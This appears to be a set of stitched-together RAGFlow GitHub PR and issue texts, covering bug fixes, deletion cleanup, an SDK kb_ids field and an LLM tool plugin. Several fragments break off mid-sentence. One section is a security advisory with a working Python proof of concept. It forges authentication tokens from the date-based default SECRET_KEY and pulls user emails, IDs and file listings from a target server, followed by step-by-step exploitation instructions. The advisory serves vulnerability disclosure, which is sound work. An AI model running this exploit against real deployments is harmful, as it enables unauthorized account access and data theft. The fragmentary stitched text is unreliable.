This issue can happen very rare. When a `stream` is first created, the
`lag` value may be nil, which can cause this issue. However, once any
message is synced, the `lag` will become `0` afterwards.

`parser_config.task_page_size` can be defaults to `None` when dataset is

`page_size` could sometimes be `None` which will cause issue in line

I go through the codes, current logic:
When do_handle_task raises an exception, handle_task will set the
progress, but for some cases do_handle_task internal will just return
but not set the right progress, at this cases the redis stream will been
acked but the task is running.

### Description
There's a critical authentication bypass vulnerability that allows
remote attackers to gain unauthorized access to user accounts without
any credentials. The vulnerability stems from two security flaws: (1)
the application uses a predictable `SECRET_KEY` that defaults to the
current date, and (2) the authentication mechanism fails to properly
validate empty access tokens left by logged-out users. When combined,
these flaws allow attackers to forge valid JWT tokens and authenticate
as any user who has previously logged out of the system.
The authentication flow relies on JWT tokens signed with a `SECRET_KEY`
that, in default configurations, is set to `str(date.today())` (e.g.,
"2025-05-30"). When users log out, their `access_token` field in the
database is set to an empty string but their account records remain
active. An attacker can exploit this by generating a JWT token that
represents an empty access_token using the predictable daily secret,
effectively bypassing all authentication controls.
### Source - Sink Analysis
**Source (User Input):** HTTP Authorization header containing
attacker-controlled JWT token
**Flow Path:**
1. **Entry Point:** `load_user()` function in `api/apps/__init__.py`
(Line 142)
2. **Token Processing:** JWT token extracted from Authorization header
3. **Secret Key Usage:** Token decoded using predictable SECRET_KEY from
`api/settings.py` (Line 123)
4. **Database Query:** `UserService.query()` called with decoded empty
access_token
5. **Sink:** Authentication succeeds, returning first user with empty
access_token
### Proof of Concept
```python
import requests
from datetime import date
from itsdangerous.url_safe import URLSafeTimedSerializer
import sys
def exploit_ragflow(target):
# Generate token with predictable key
daily_key = str(date.today())
serializer = URLSafeTimedSerializer(secret_key=daily_key)
malicious_token = serializer.dumps("")
print(f"Target: {target}")
print(f"Secret key: {daily_key}")
print(f"Generated token: {malicious_token}\n")
# Test endpoints
endpoints = [
("/v1/user/info", "User profile"),
("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing")
]
auth_headers = {"Authorization": malicious_token}
for path, description in endpoints:
print(f"Testing {description}...")
response = requests.get(f"{target}{path}", headers=auth_headers)
if response.status_code == 200:
data = response.json()
if data.get("code") == 0:
print(f"SUCCESS {description} accessible")
if "user" in path:
user_data = data.get("data", {})
print(f" Email: {user_data.get('email')}")
print(f" User ID: {user_data.get('id')}")
elif "file" in path:
files = data.get("data", {}).get("files", [])
print(f" Files found: {len(files)}")
else:
print(f"Access denied")
else:
print(f"HTTP {response.status_code}")
print()
if __name__ == "__main__":
target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
exploit_ragflow(target_url)
```
**Exploitation Steps:**
1. Deploy RAGFlow with default configuration
2. Create a user and make at least one user log out (creating empty
access_token in database)
3. Run the PoC script against the target
4. Observe successful authentication and data access without any
credentials
**Version:** 0.19.0

### What problem does this PR solve?
When deleting knowledge base documents in RAGFlow, the current process
only removes the block texts in Elasticsearch and the original files in
MinIO, but it leaves behind many binary images and thumbnails generated
during chunking. This pull request improves the deletion process by
querying the block information in Elasticsearch to ensure a more
thorough and complete cleanup.

…sing the SDK chat API
### What problem does this PR solve?
When using the SDK for chat, you can include the IDs of additional
knowledge bases you want to use in the request. This way, you don’t need
to repeatedly create new assistants to support various combinations of
knowledge bases. This is especially useful when there are many knowledge
bases with different content. If users clearly know which knowledge base
contains the information they need and select accordingly, the recall
accuracy will be greatly improved.
Users only need to add an extra field, a kb_ids array, in the HTTP
request. The content of this field can be determined by the client
fetching the list of knowledge bases and letting the user select from
it.

Hello, our use case requires LLM agent to invoke some tools, so I made a
simple implementation here.
This PR does two things:
1. A simple plugin mechanism based on `pluginlib`:
This mechanism lives in the `plugin` directory. It will only load
plugins from `plugin/embedded_plugins` for now.
A sample plugin `bad_calculator.py` is placed in
`plugin/embedded_plugins/llm_tools`, it accepts two numbers `a` and `b`,
then give a wrong result `a + b + 100`.
In the future, it can load plugins from external location with little
code change.
Plugins are divided into different types. The only plugin type supported
in this PR is `llm_tools`, which must implement the `LLMToolPlugin`
class in the `plugin/llm_tool_plugin.py`.
More plugin types can be added in the future.
2. A tool selector in the `Generate` component:
Added a tool selector to select one or more tools for LLM:
And with the `bad_calculator` tool, it results this with the `qwen-max`
model:
